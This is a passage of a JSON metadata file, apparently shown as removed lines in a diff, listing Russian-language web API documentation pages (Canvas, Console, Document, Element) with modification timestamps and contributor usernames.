"Web/API/CanvasCaptureMediaStreamTrack": { - "modified": "2020-10-15T22:29:26.731Z", - "contributors": [ - "oksanazhubanova" - ] - }, - "Web/API/CanvasGradient": { - "modified": "2019-03-23T22:22:04.688Z", - "contributors": [ - "PiN" - ] - }, - "Web/API/CanvasPattern": { - "modified": "2020-10-15T22:30:06.682Z", - "contributors": [ - "pmswga" - ] - }, - "Web/API/CanvasRenderingContext2D": { - "modified": "2019-03-23T22:56:28.677Z", - "contributors": [ - "antas", - "dphov", - "ows-nightwolf", - "teoli" - ] - }, - "Web/API/CanvasRenderingContext2D/arc": { - "modified": "2019-10-01T17:23:39.743Z", - "contributors": [ - "aekarimov", - "Sasha2018RL", - "SphinxKnight", - "hemulslava", - "stanislavdev1993", - "GruFFix" - ] - }, - "Web/API/CanvasRenderingContext2D/arcTo": { - "modified": "2020-10-15T21:55:29.725Z", - "contributors": [ - "ekirpichyov", - "boxa6", - "GaidaiAndrii" - ] - }, - "Web/API/CanvasRenderingContext2D/beginPath": { - "modified": "2020-10-15T22:05:16.418Z", - "contributors": [ - "VladyslavG", - "slychai85" - ] - }, - "Web/API/CanvasRenderingContext2D/bezierCurveTo": { - "modified": "2019-03-23T22:56:36.344Z", - "contributors": [ - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/canvas": { - "modified": "2020-10-15T21:39:03.998Z", - "contributors": [ - "boxa6", - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/clearRect": { - "modified": "2019-03-23T22:56:45.336Z", - "contributors": [ - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/closePath": { - "modified": "2020-10-15T22:16:30.988Z", - "contributors": [ - "boxa6" - ] - }, - "Web/API/CanvasRenderingContext2D/createLinearGradient": { - "modified": "2020-11-02T20:54:02.674Z", - "contributors": [ - "MendyBerger", - "d0rj", - "Zilfaron" - ] - }, - "Web/API/CanvasRenderingContext2D/currentTransform": { - "modified": "2020-10-15T21:39:04.221Z", - "contributors": [ - "boxa6", - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/drawImage": { - "modified": "2019-03-18T21:45:52.644Z", - "contributors": [ - "TyLoCoder", - "nkizza" - ] - }, - "Web/API/CanvasRenderingContext2D/ellipse": { - "modified": "2020-10-15T22:32:25.815Z", - "contributors": [ - "podocenov" - ] - }, - "Web/API/CanvasRenderingContext2D/fill": { - "modified": "2020-10-15T22:01:36.040Z", - "contributors": [ - "mRoot" - ] - }, - "Web/API/CanvasRenderingContext2D/fillRect": { - "modified": "2019-03-23T22:56:37.281Z", - "contributors": [ - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/fillStyle": { - "modified": "2020-10-15T21:46:40.981Z", - "contributors": [ - "ekirpichyov", - "boxa6", - "Thud97" - ] - }, - "Web/API/CanvasRenderingContext2D/fillText": { - "modified": "2020-06-05T11:07:04.946Z", - "contributors": [ - "annaindistress", - "Thud97" - ] - }, - "Web/API/CanvasRenderingContext2D/font": { - "modified": "2020-10-15T22:16:33.045Z", - "contributors": [ - "ekirpichyov", - "boxa6" - ] - }, - "Web/API/CanvasRenderingContext2D/getImageData": { - "modified": "2020-10-15T21:50:17.666Z", - "contributors": [ - "boxa6", - "Faik-man" - ] - }, - "Web/API/CanvasRenderingContext2D/getLineDash": { - "modified": "2020-10-15T22:29:26.649Z", - "contributors": [ - "Maxim-Bernashevsky" - ] - }, - "Web/API/CanvasRenderingContext2D/globalAlpha": { - "modified": "2020-10-15T22:18:07.437Z", - "contributors": [ - "Lavrusha" - ] - }, - "Web/API/CanvasRenderingContext2D/lineCap": { - "modified": "2020-10-15T21:46:40.128Z", - "contributors": [ - "ekirpichyov", - "boxa6", - "Thud97" - ] - }, - "Web/API/CanvasRenderingContext2D/lineDashOffset": { - "modified": "2020-10-15T22:20:35.269Z", - "contributors": [ - "faramozzayw" - ] - }, - "Web/API/CanvasRenderingContext2D/lineJoin": { - "modified": "2020-10-15T21:46:41.154Z", - "contributors": [ - "boxa6", - "Thud97" - ] - }, - "Web/API/CanvasRenderingContext2D/lineTo": { - "modified": "2020-10-15T22:16:32.076Z", - "contributors": [ - "ekirpichyov", - "boxa6" - ] - }, - "Web/API/CanvasRenderingContext2D/lineWidth": { - "modified": "2019-03-23T22:32:24.777Z", - "contributors": [ - "Thud97" - ] - }, - "Web/API/CanvasRenderingContext2D/measureText": { - "modified": "2020-10-15T22:24:54.113Z", - "contributors": [ - "Aliser" - ] - }, - "Web/API/CanvasRenderingContext2D/miterLimit": { - "modified": "2020-10-15T22:22:46.560Z", - "contributors": [ - "Maxim-Bernashevsky", - "xsltdev.ru" - ] - }, - "Web/API/CanvasRenderingContext2D/moveTo": { - "modified": "2019-03-23T22:56:45.526Z", - "contributors": [ - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/putImageData": { - "modified": "2020-10-15T22:20:36.324Z", - "contributors": [ - "hcodes", - "VitaliyBaryliuk", - "faramozzayw" - ] - }, - "Web/API/CanvasRenderingContext2D/rect": { - "modified": "2019-03-23T22:56:38.971Z", - "contributors": [ - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/restore": { - "modified": "2020-10-15T22:22:51.562Z", - "contributors": [ - "xsltdev.ru" - ] - }, - "Web/API/CanvasRenderingContext2D/rotate": { - "modified": "2020-10-15T22:01:04.277Z", - "contributors": [ - "bagau" - ] - }, - "Web/API/CanvasRenderingContext2D/save": { - "modified": "2020-10-15T22:22:01.973Z", - "contributors": [ - "tymino" - ] - }, - "Web/API/CanvasRenderingContext2D/stroke": { - "modified": "2020-10-15T22:05:16.536Z", - "contributors": [ - "kamennova", - "boxa6", - "slychai85" - ] - }, - "Web/API/CanvasRenderingContext2D/strokeRect": { - "modified": "2019-03-23T22:56:36.148Z", - "contributors": [ - "ows-nightwolf" - ] - }, - "Web/API/CanvasRenderingContext2D/strokeStyle": { - "modified": "2019-03-23T22:32:09.808Z", - "contributors": [ - "Thud97" - ] - }, - "Web/API/CanvasRenderingContext2D/strokeText": { - "modified": "2019-03-23T22:32:26.139Z", - "contributors": [ - "Thud97" - ] - }, - "Web/API/CanvasRenderingContext2D/textAlign": { - "modified": "2020-10-15T22:06:58.446Z", - "contributors": [ - "Omiant" - ] - }, - "Web/API/CanvasRenderingContext2D/textBaseline": { - "modified": "2020-10-15T22:16:32.202Z", - "contributors": [ - "boxa6" - ] - }, - "Web/API/Canvas_API": { - "modified": "2019-09-24T02:32:50.710Z", - "contributors": [ - "antas", - "ivaskonyan", - "MuradAz", - "klimov-rv", - "PiN", - "uleming", - "askolt", - "fscholz", - "3bl3gamer", - "Neir", - "teoli" - ] - }, - "Web/API/Canvas_API/A_basic_ray-caster": { - "modified": "2019-09-18T08:14:03.985Z", - "contributors": [ - "post032" - ] - }, - "Web/API/Canvas_API/Tutorial": { - "modified": "2020-10-26T13:40:20.070Z", - "contributors": [ - "warsand", - "chrisdavidmills", - "DzhanikM", - "warsan", - "VladykoD", - "zero-t4", - "McBurns", - "StyleToken", - "fil7", - "vladimir_gamalian", - "fscholz", - "Neir", - "ut2010", - "hmelenok", - "RokkerRuslan", - "kscarfone" - ] - }, - "Web/API/Canvas_API/Tutorial/Advanced_animations": { - "modified": "2019-07-06T14:24:11.022Z", - "contributors": [ - "SphinxKnight", - "PorkyPi", - "scanick", - "Costigans", - "andvseti" - ] - }, - "Web/API/Canvas_API/Tutorial/Basic_usage": { - "modified": "2020-06-19T15:51:41.853Z", - "contributors": [ - "hisbvdis", - "Maxim-Bernashevsky", - "konstantin.paulkin", - "StanEffy", - "alantishin", - "MasterOfMenace", - "boxa6", - "jynweythek", - "vinttos", - "gearmobile", - "teoli", - "askolt", - "fscholz", - "Culttm", - "lazyexpert", - "Neir", - "raspberry59", - "hmelenok", - "Techno1994" - ] - }, - "Web/API/Canvas_API/Tutorial/Finale": { - "modified": "2019-03-23T22:09:14.329Z", - "contributors": [ - "Ferguse" - ] - }, - "Web/API/Canvas_API/Tutorial/Optimizing_canvas": { - "modified": "2019-08-13T15:55:40.668Z", - "contributors": [ - "demyanovs" - ] - }, - "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas": { - "modified": "2020-05-26T16:27:49.694Z", - "contributors": [ - "Skraer", - "AlexeyH", - "VladIT4", - "Garloy", - "Liubava77" - ] - }, - "Web/API/Canvas_API/Tutorial/Transformations": { - "modified": "2020-11-03T10:47:59.000Z", - "contributors": [ - "geschaft59rus", - "PorkyPi", - "shortship", - "andvseti" - ] - }, - "Web/API/Canvas_API/Tutorial/Использование_изображений": { - "modified": "2019-03-18T20:59:25.160Z", - "contributors": [ - "Costigans", - "aderin", - "Theana27", - "Feuway", - "4esnog", - "MaxManchak", - "Taova", - "MuradAz" - ] - }, - "Web/API/Canvas_API/Tutorial/Композиции": { - "modified": "2019-03-23T22:07:28.505Z", - "contributors": [ - "shortship", - "Alex1995markson", - "bad4iz" - ] - }, - "Web/API/Canvas_API/Tutorial/Основы_анимации": { - "modified": "2019-03-18T20:39:12.629Z", - "contributors": [ - "korobkov", - "scanick", - "fenfil", - "komuroe", - "Isk1n", - "evgeniy83", - "Vovanostm", - "SphinxKnight", - "fscholz", - "RokkerRuslan" - ] - }, - "Web/API/Canvas_API/Tutorial/Применение_стилей_и_цветов": { - "modified": "2020-06-21T00:28:29.747Z", - "contributors": [ - "hisbvdis", - "coolwebdev", - "RomatoPotato", - "levi2ki", - "warsan", - "artrudov", - "mormiron", - "jynweythek", - "fil7", - "Theana27", - "Sebastianz", - "SphinxKnight", - "fscholz", - "Neir" - ] - }, - "Web/API/Canvas_API/Tutorial/Рисование_текста": { - "modified": "2020-11-03T08:47:25.074Z", - "contributors": [ - "geschaft59rus", - "AVerutin", - "mish7046", - "lavavrik" - ] - }, - "Web/API/Canvas_API/Tutorial/Рисование_фигур": { - "modified": "2020-07-28T09:22:42.924Z", - "contributors": [ - "AVerutin", - "warsan", - "mi5ha6in", - "mkarkachov", - "artrudov", - "mikomister", - "dedotmoroz", - "GaidaiAndrii", - "DuckerMan", - "hraboviyvadim", - "jynweythek", - "dyachenco", - "fil7", - "nakhodkiin", - "gearmobile", - "teoli", - "fscholz", - "Mirsait", - "Neir" - ] - }, - "Web/API/CharacterData": { - "modified": "2020-10-15T22:08:25.066Z", - "contributors": [ - "ivanson" - ] - }, - "Web/API/ChildNode": { - "modified": "2019-03-23T22:51:21.900Z", - "contributors": [ - "untritt", - "pantherCZ" - ] - }, - "Web/API/ChildNode/remove": { - "modified": "2019-03-23T22:51:25.031Z", - "contributors": [ - "neoxaker", - "NikitaCoder", - "In4in" - ] - }, - "Web/API/ChildNode/replaceWith": { - "modified": "2020-12-02T15:53:32.691Z", - "contributors": [ - "kosarev_va" - ] - }, - "Web/API/Clients": { - "modified": "2019-03-23T22:15:29.932Z", - "contributors": [ - "WispProxy", - "curdwithraisins", - "chrisdavidmills" - ] - }, - "Web/API/Clients/claim": { - "modified": "2019-10-18T13:48:46.959Z", - "contributors": [ - "mcmimik", - "curdwithraisins" - ] - }, - "Web/API/Clients/openWindow": { - "modified": "2020-10-15T22:34:56.508Z", - "contributors": [ - "beltimor" - ] - }, - "Web/API/ClipboardEvent": { - "modified": "2019-03-23T22:10:37.681Z", - "contributors": [ - "fscholz", - "Pyastolov", - "nikolaifedorov" - ] - }, - "Web/API/Clipboard_API": { - "modified": "2020-10-15T22:34:52.946Z", - "contributors": [ - "beltimor" - ] - }, - "Web/API/Comment": { - "modified": "2020-10-15T22:18:03.333Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/API/Console": { - "modified": "2019-09-04T06:35:56.879Z", - "contributors": [ - "damirJa", - "pk.prog", - "CiliZ", - "alexbaumgertner", - "Aleksej", - "fscholz" - ] - }, - "Web/API/Console/assert": { - "modified": "2020-10-15T21:45:38.665Z", - "contributors": [ - "almaceleste", - "lazyexpert" - ] - }, - "Web/API/Console/clear": { - "modified": "2020-10-15T21:49:40.634Z", - "contributors": [ - "georgelviv", - "YozhEzhi", - "art-gur" - ] - }, - "Web/API/Console/count": { - "modified": "2019-03-23T22:08:48.787Z", - "contributors": [ - "FlowerDeLuce" - ] - }, - "Web/API/Console/countReset": { - "modified": "2020-10-15T22:14:44.244Z", - "contributors": [ - "damirJa" - ] - }, - "Web/API/Console/debug": { - "modified": "2020-11-19T07:02:35.541Z", - "contributors": [ - "m0nclous", - "ekirpichyov" - ] - }, - "Web/API/Console/dir": { - "modified": "2019-04-03T11:56:01.265Z", - "contributors": [ - "Dzvonek", - "Polina", - "einomi", - "NovikovViktor" - ] - }, - "Web/API/Console/dirxml": { - "modified": "2020-10-15T22:04:45.997Z", - "contributors": [ - "snegovik.dev", - "MindWorm" - ] - }, - "Web/API/Console/error": { - "modified": "2019-03-23T22:10:04.839Z", - "contributors": [ - "csepanda" - ] - }, - "Web/API/Console/group": { - "modified": "2019-03-23T22:03:18.640Z", - "contributors": [ - "vilyus" - ] - }, - "Web/API/Console/info": { - "modified": "2019-03-23T22:27:55.127Z", - "contributors": [ - "pk.prog", - "nontrip" - ] - }, - "Web/API/Console/log": { - "modified": "2020-10-15T21:39:00.717Z", - "contributors": [ - "aleshkanet", - "IgorPuchkov2003", - "alfill", - "pk.prog", - "Bargamut", - "Lukavyi" - ] - }, - "Web/API/Console/profile": { - "modified": "2020-10-15T21:54:55.312Z", - "contributors": [ - "ekirpichyov", - "RslnMtvv" - ] - }, - "Web/API/Console/table": { - "modified": "2019-11-28T12:52:39.225Z", - "contributors": [ - "1cepeak", - "xefimx" - ] - }, - "Web/API/Console/time": { - "modified": "2020-10-15T21:37:02.751Z", - "contributors": [ - "Mialik-Kirill-Sergeevich", - "SphinxKnight", - "ekirpichyov", - "YozhEzhi", - "terranisu" - ] - }, - "Web/API/Console/timeEnd": { - "modified": "2020-10-15T21:29:08.226Z", - "contributors": [ - "Arhidimon", - "ekirpichyov", - "teoli", - "Aleksej", - "fscholz", - "AshfaqHossain", - "Troynov" - ] - }, - "Web/API/Console/timeLog": { - "modified": "2020-10-15T22:12:51.490Z", - "contributors": [ - "ekirpichyov", - "evilandfox" - ] - }, - "Web/API/Console/timeStamp": { - "modified": "2020-10-15T22:22:33.891Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/API/Console/trace": { - "modified": "2020-10-15T21:56:15.688Z", - "contributors": [ - "Solant", - "nikitaermishin" - ] - }, - "Web/API/Console/warn": { - "modified": "2020-10-15T22:00:31.979Z", - "contributors": [ - "ekirpichyov", - "ArtemPolanskiy" - ] - }, - "Web/API/Console_API": { - "modified": "2020-10-15T22:22:34.778Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/API/Credential_Management_API": { - "modified": "2020-10-25T11:26:45.569Z", - "contributors": [ - "beltimor" - ] - }, - "Web/API/Crypto": { - "modified": "2020-10-15T21:40:08.938Z", - "contributors": [ - "Echzio", - "boxa6", - "Goudron", - "fpavlik", - "judgegc", - "whitesunset" - ] - }, - "Web/API/CryptoKeyPair": { - "modified": "2020-10-31T11:34:07.075Z", - "contributors": [ - "tom93", - "qkudev" - ] - }, - "Web/API/DOMHighResTimeStamp": { - "modified": "2020-10-15T22:26:00.707Z", - "contributors": [ - "Kiryhas" - ] - }, - "Web/API/DOMParser": { - "modified": "2019-03-23T14:36:37.538Z", - "contributors": [ - "dimden", - "warsan", - "t1gor", - "Ihewaz" - ] - }, - "Web/API/DOMString": { - "modified": "2019-03-23T22:53:48.183Z", - "contributors": [ - "WispProxy", - "mxxn", - "AlexAlex" - ] - }, - "Web/API/DOMStringList": { - "modified": "2019-03-23T22:43:35.765Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/DOMStringMap": { - "modified": "2020-10-15T21:57:58.142Z", - "contributors": [ - "wbamberg", - "boxa6", - "pmswga" - ] - }, - "Web/API/DOMTokenList": { - "modified": "2020-10-15T22:24:02.860Z", - "contributors": [ - "kalys0894" - ] - }, - "Web/API/DOMTokenList/replace": { - "modified": "2020-12-06T13:47:45.615Z", - "contributors": [ - "kosarev_va" - ] - }, - "Web/API/DataTransfer": { - "modified": "2019-03-28T08:23:35.580Z", - "contributors": [ - "ramamedov89", - "csepanda", - "iamelru", - "murtukov", - "fscholz", - "Erkon" - ] - }, - "Web/API/Document": { - "modified": "2020-11-06T07:05:11.786Z", - "contributors": [ - "Yerokhov", - "YozhEzhi", - "m.onyshchuk", - "fscholz" - ] - }, - "Web/API/Document/DOMContentLoaded_event": { - "modified": "2020-10-15T22:22:45.751Z", - "contributors": [ - "VadimShchukin" - ] - }, - "Web/API/Document/Document": { - "modified": "2020-10-15T22:00:03.206Z", - "contributors": [ - "boxa6", - "Horuslllll" - ] - }, - "Web/API/Document/URL": { - "modified": "2020-10-15T21:34:32.396Z", - "contributors": [ - "boxa6", - "esskia" - ] - }, - "Web/API/Document/activeElement": { - "modified": "2019-03-23T23:07:52.737Z", - "contributors": [ - "wbamberg", - "fscholz", - "mrDinckleman", - "my8bit" - ] - }, - "Web/API/Document/alinkColor": { - "modified": "2020-10-15T21:56:03.837Z", - "contributors": [ - "boxa6", - "SphinxKnight", - "pi0ne3r" - ] - }, - "Web/API/Document/all": { - "modified": "2020-10-15T22:22:27.853Z", - "contributors": [ - "3elenkovskiy" - ] - }, - "Web/API/Document/anchors": { - "modified": "2020-10-15T21:39:17.946Z", - "contributors": [ - "boxa6", - "wbamberg", - "aethawalka" - ] - }, - "Web/API/Document/applets": { - "modified": "2020-10-15T21:39:17.454Z", - "contributors": [ - "boxa6", - "aethawalka" - ] - }, - "Web/API/Document/async": { - "modified": "2019-04-24T21:17:23.958Z", - "contributors": [ - "borseno" - ] - }, - "Web/API/Document/bgColor": { - "modified": "2020-10-15T21:46:27.977Z", - "contributors": [ - "boxa6", - "SphinxKnight", - "m.onyshchuk" - ] - }, - "Web/API/Document/body": { - "modified": "2020-10-15T21:39:20.026Z", - "contributors": [ - "boxa6", - "Leo240", - "aethawalka" - ] - }, - "Web/API/Document/characterSet": { - "modified": "2019-03-23T22:46:44.949Z", - "contributors": [ - "aethawalka" - ] - }, - "Web/API/Document/close": { - "modified": "2020-10-15T21:52:01.801Z", - "contributors": [ - "boxa6", - "wenzor", - "through-a-haze" - ] - }, - "Web/API/Document/compatMode": { - "modified": "2019-03-18T20:59:10.493Z", - "contributors": [ - "SphinxKnight", - "aethawalka" - ] - }, - "Web/API/Document/contentType": { - "modified": "2019-03-23T22:29:27.118Z", - "contributors": [ - "shevchenko" - ] - }, - "Web/API/Document/cookie": { - "modified": "2020-10-15T21:42:31.673Z", - "contributors": [ - "JohnPier", - "wadzari", - "boxa6", - "SphinxKnight", - "alik0211", - "Drag46", - "beautifulSuicide", - "ykshatroff", - "c01nd01r" - ] - }, - "Web/API/Document/createAttribute": { - "modified": "2020-10-15T22:22:35.181Z", - "contributors": [ - "ellizii" - ] - }, - "Web/API/Document/createComment": { - "modified": "2019-03-23T23:09:36.882Z", - "contributors": [ - "fscholz", - "jsx", - "KiraAndMaxim" - ] - }, - "Web/API/Document/createDocumentFragment": { - "modified": "2019-03-23T22:13:19.093Z", - "contributors": [ - "iamelru" - ] - }, - "Web/API/Document/createRange": { - "modified": "2019-03-23T22:25:38.380Z", - "contributors": [ - "vKuka", - "AlexanderTserkovniy", - "zede" - ] - }, - "Web/API/Document/createTextNode": { - "modified": "2019-03-23T22:28:24.541Z", - "contributors": [ - "DarkHole1", - "boldyrevap" - ] - }, - "Web/API/Document/createTreeWalker": { - "modified": "2020-10-15T22:17:31.014Z", - "contributors": [ - "ivasyutaalexey" - ] - }, - "Web/API/Document/currentScript": { - "modified": "2019-03-23T22:30:10.015Z", - "contributors": [ - "wbamberg", - "rand0me" - ] - }, - "Web/API/Document/defaultView": { - "modified": "2020-10-15T21:37:39.375Z", - "contributors": [ - "boxa6", - "nakhodkiin", - "SergeyShvager" - ] - }, - "Web/API/Document/designMode": { - "modified": "2020-10-15T21:31:18.461Z", - "contributors": [ - "chrisdavidmills", - "boxa6", - "N3stY", - "fscholz", - "ang.reload" - ] - }, - "Web/API/Document/dir": { - "modified": "2020-10-15T21:58:20.523Z", - "contributors": [ - "boxa6", - "boom5251" - ] - }, - "Web/API/Document/doctype": { - "modified": "2020-10-15T22:00:11.590Z", - "contributors": [ - "ekirpichyov", - "Horuslllll" - ] - }, - "Web/API/Document/documentElement": { - "modified": "2019-03-23T22:20:33.295Z", - "contributors": [ - "HennesyXO" - ] - }, - "Web/API/Document/documentURI": { - "modified": "2019-03-23T22:32:53.776Z", - "contributors": [ - "m.onyshchuk" - ] - }, - "Web/API/Document/documentURIObject": { - "modified": "2019-03-18T21:45:23.722Z", - "contributors": [ - "Horuslllll" - ] - }, - "Web/API/Document/domain": { - "modified": "2020-10-15T22:00:11.368Z", - "contributors": [ - "boxa6", - "nikolaifedorov", - "Horuslllll" - ] - }, - "Web/API/Document/dragstart_event": { - "modified": "2020-10-15T22:21:52.889Z", - "contributors": [ - "Dzvonek" - ] - }, - "Web/API/Document/embeds": { - "modified": "2020-10-15T21:50:45.207Z", - "contributors": [ - "boxa6", - "samgozman" - ] - }, - "Web/API/Document/evaluate": { - "modified": "2020-10-15T21:54:16.423Z", - "contributors": [ - "102", - "impulsgraw" - ] - }, - "Web/API/Document/execCommand": { - "modified": "2020-07-28T03:37:21.714Z", - "contributors": [ - "art-gur", - "SedovDP", - "invwax", - "Xmaksss", - "WispProxy", - "patsuckow", - "N3stY", - "Ivanq", - "jt3k", - "sshest", - "fscholz", - "ang.reload" - ] - }, - "Web/API/Document/forms": { - "modified": "2020-10-15T21:34:39.205Z", - "contributors": [ - "constantkek", - "zuzuru", - "ivasyutaalexey", - "boxa6", - "BychekRU" - ] - }, - "Web/API/Document/getElementById": { - "modified": "2019-03-23T22:26:59.980Z", - "contributors": [ - "alexandr-krylov", - "s3rgp4r0dy", - "SergeyM", - "ZZPot" - ] - }, - "Web/API/Document/getElementsByClassName": { - "modified": "2019-03-23T22:58:15.032Z", - "contributors": [ - "DzhanikM", - "shaman771", - "m.onyshchuk", - "goodwin64", - "loki2d", - "lazyexpert" - ] - }, - "Web/API/Document/getElementsByName": { - "modified": "2020-10-15T22:19:17.150Z", - "contributors": [ - "virbenka" - ] - }, - "Web/API/Document/getElementsByTagName": { - "modified": "2019-03-23T22:55:54.489Z", - "contributors": [ - "surrsoft" - ] - }, - "Web/API/Document/getSelection": { - "modified": "2019-03-23T22:34:05.751Z", - "contributors": [ - "YakovL" - ] - }, - "Web/API/Document/hasFocus": { - "modified": "2019-03-23T22:22:10.182Z", - "contributors": [ - "jaguar7021", - "talgautb" - ] - }, - "Web/API/Document/head": { - "modified": "2020-10-15T21:41:14.878Z", - "contributors": [ - "Sveagruva", - "boxa6", - "Leo240" - ] - }, - "Web/API/Document/height": { - "modified": "2020-10-15T21:56:42.718Z", - "contributors": [ - "boxa6", - "goodleby" - ] - }, - "Web/API/Document/hidden": { - "modified": "2020-10-15T22:28:51.917Z", - "contributors": [ - "i0tool5" - ] - }, - "Web/API/Document/importNode": { - "modified": "2020-10-15T22:18:57.100Z", - "contributors": [ - "mazzzaj", - "NikolayIlichev" - ] - }, - "Web/API/Document/keypress_event": { - "modified": "2019-07-10T08:18:16.995Z", - "contributors": [ - "sergalemasov", - "chrisdavidmills", - "MasterLuiji19", - "karasik" - ] - }, - "Web/API/Document/links": { - "modified": "2020-10-15T21:49:25.799Z", - "contributors": [ - "boxa6", - "nik3402", - "N3stY" - ] - }, - "Web/API/Document/location": { - "modified": "2020-10-15T21:38:46.139Z", - "contributors": [ - "boxa6", - "aethawalka" - ] - }, - "Web/API/Document/origin": { - "modified": "2019-03-23T22:40:35.301Z", - "contributors": [ - "vyushin" - ] - }, - "Web/API/Document/querySelector": { - "modified": "2020-10-15T21:27:25.041Z", - "contributors": [ - "yuri.chernyshov", - "ViktorWizard", - "Khaidarov-Dinar", - "ironCat", - "gudkovdanila", - "xapdkop", - "newallure", - "wizion", - "boxa6", - "SmartRW", - "NetVetal", - "indieveed", - "SlavaJan", - "BychekRU", - "Geraldus", - "fscholz", - "khalid32", - "thisninja" - ] - }, - "Web/API/Document/querySelectorAll": { - "modified": "2020-10-15T21:29:31.904Z", - "contributors": [ - "ekirpichyov", - "niktariy", - "ZeroGravity-82", - "FeliciaJess", - "Ryabikovalex", - "vittorio-tortugo", - "fscholz", - "AlexyAV" - ] - }, - "Web/API/Document/readyState": { - "modified": "2020-12-05T12:01:13.067Z", - "contributors": [ - "DenisRaynor", - "trepven", - "boxa6", - "termosa" - ] - }, - "Web/API/Document/referrer": { - "modified": "2020-10-15T21:37:05.731Z", - "contributors": [ - "alexxxxkkk", - "boxa6", - "Kochetkoff", - "Vlad.Abdullin" - ] - }, - "Web/API/Document/registerElement": { - "modified": "2019-03-23T22:53:06.025Z", - "contributors": [ - "DenVdmj" - ] - }, - "Web/API/Document/scripts": { - "modified": "2019-03-23T22:33:09.075Z", - "contributors": [ - "fondad" - ] - }, - "Web/API/Document/scroll_event": { - "modified": "2020-10-15T21:32:06.238Z", - "contributors": [ - "mcmimik", - "onair", - "YozhEzhi", - "MistakeOfNature", - "irenesmith", - "fscholz", - "jt3k" - ] - }, - "Web/API/Document/write": { - "modified": "2019-03-23T22:09:15.807Z", - "contributors": [ - "wenzor" - ] - }, - "Web/API/Document/writeln": { - "modified": "2019-03-23T22:59:12.181Z", - "contributors": [ - "x1unix" - ] - }, - "Web/API/DocumentFragment": { - "modified": "2019-08-28T05:06:56.833Z", - "contributors": [ - "A1edan", - "KarafiziArthur", - "tarkus", - "vgsdesign" - ] - }, - "Web/API/EffectTiming": { - "modified": "2020-10-15T22:29:01.473Z", - "contributors": [ - "Kami-san" - ] - }, - "Web/API/Element": { - "modified": "2020-10-15T21:21:45.874Z", - "contributors": [ - "abscess", - "ellizii", - "Yialo", - "YozhEzhi", - "Akh-rman", - "fscholz", - "jarcko", - "Oaphi", - "coderoma", - "TemmyR", - "vladlipski", - "SedovDP", - "feedlike", - "ugg555", - "khalid32", - "datasheet" - ] - }, - "Web/API/Element/accessKey": { - "modified": "2019-03-23T22:51:14.902Z", - "contributors": [ - "In4in" - ] - }, - "Web/API/Element/animate": { - "modified": "2020-10-15T22:22:29.537Z", - "contributors": [ - "Kami-san", - "Yialo" - ] - }, - "Web/API/Element/attachShadow": { - "modified": "2020-10-15T21:57:11.880Z", - "contributors": [ - "klimentru1986", - "Sparks" - ] - }, - "Web/API/Element/attributes": { - "modified": "2019-03-23T22:53:08.762Z", - "contributors": [ - "get-web", - "alexvarboffin" - ] - }, - "Web/API/Element/classList": { - "modified": "2019-08-28T05:50:21.425Z", - "contributors": [ - "Bargamut", - "karataev", - "In4in", - "r3b-fish", - "rodweb" - ] - }, - "Web/API/Element/className": { - "modified": "2019-03-23T22:51:17.806Z", - "contributors": [ - "In4in" - ] - }, - "Web/API/Element/clientHeight": { - "modified": "2019-03-18T20:59:12.405Z", - "contributors": [ - "SphinxKnight", - "EuheniaZhdanovich", - "sumthief", - "goodhousekeeper" - ] - }, - "Web/API/Element/clientLeft": { - "modified": "2020-10-15T22:15:01.017Z", - "contributors": [ - "AlexNikonov" - ] - }, - "Web/API/Element/clientTop": { - "modified": "2020-10-15T21:34:11.092Z", - "contributors": [ - "daniil-loban", - "ekirpichyov", - "SphinxKnight", - "systemcss", - "Vasia" - ] - }, - "Web/API/Element/clientWidth": { - "modified": "2020-10-15T22:21:19.196Z", - "contributors": [ - "ekirpichyov", - "karasik" - ] - }, - "Web/API/Element/closest": { - "modified": "2020-10-15T21:37:40.673Z", - "contributors": [ - "tohaly", - "Yialo", - "YozhEzhi", - "sahmildzhakeev", - "u_mulder", - "ebuster", - "akaguny", - "AlexOvchinkin", - "SeanSilke", - "vittorio-tortugo", - "In4in" - ] - }, - "Web/API/Element/createShadowRoot": { - "modified": "2019-03-18T21:17:10.452Z", - "contributors": [ - "Sparks" - ] - }, - "Web/API/Element/currentStyle": { - "modified": "2020-10-15T22:29:46.179Z", - "contributors": [ - "RenatTOP" - ] - }, - "Web/API/Element/getAttribute": { - "modified": "2019-03-23T23:38:18.704Z", - "contributors": [ - "BychekRU", - "fscholz", - "khalid32", - "zipp3r" - ] - }, - "Web/API/Element/getBoundingClientRect": { - "modified": "2020-10-15T21:27:33.547Z", - "contributors": [ - "GoliafRS", - "kan.a", - "mary98Chess", - "SphinxKnight", - "sumthief", - "x-in", - "whoever777", - "alexandr-parkhomenko", - "fscholz", - "Niades", - "torbasow" - ] - }, - "Web/API/Element/getElementsByClassName": { - "modified": "2019-03-23T22:47:48.885Z", - "contributors": [ - "SedovDP", - "loki2d" - ] - }, - "Web/API/Element/getElementsByTagName": { - "modified": "2019-03-23T22:20:23.264Z", - "contributors": [ - "dedotmoroz", - "greyHorseM" - ] - }, - "Web/API/Element/hasAttribute": { - "modified": "2019-03-23T22:43:15.597Z", - "contributors": [ - "arturparkhisenko" - ] - }, - "Web/API/Element/hasAttributes": { - "modified": "2019-03-18T21:32:55.747Z", - "contributors": [ - "Woldemar1086" - ] - }, - "Web/API/Element/id": { - "modified": "2019-08-28T05:52:50.715Z", - "contributors": [ - "Yialo", - "goplon", - "BychekRU" - ] - }, - "Web/API/Element/innerHTML": { - "modified": "2020-10-30T16:20:53.506Z", - "contributors": [ - "nstansfield", - "M4r5ha11", - "touze147", - "Dinow-Alice", - "ekirpichyov", - "FrankieSR", - "SphinxKnight", - "Silversworld", - "dedotmoroz", - "SergKorol" - ] - }, - "Web/API/Element/insertAdjacentElement": { - "modified": "2020-10-15T22:04:14.603Z", - "contributors": [ - "torbasow", - "ekirpichyov", - "fanich37" - ] - }, - "Web/API/Element/insertAdjacentHTML": { - "modified": "2020-10-15T21:26:41.504Z", - "contributors": [ 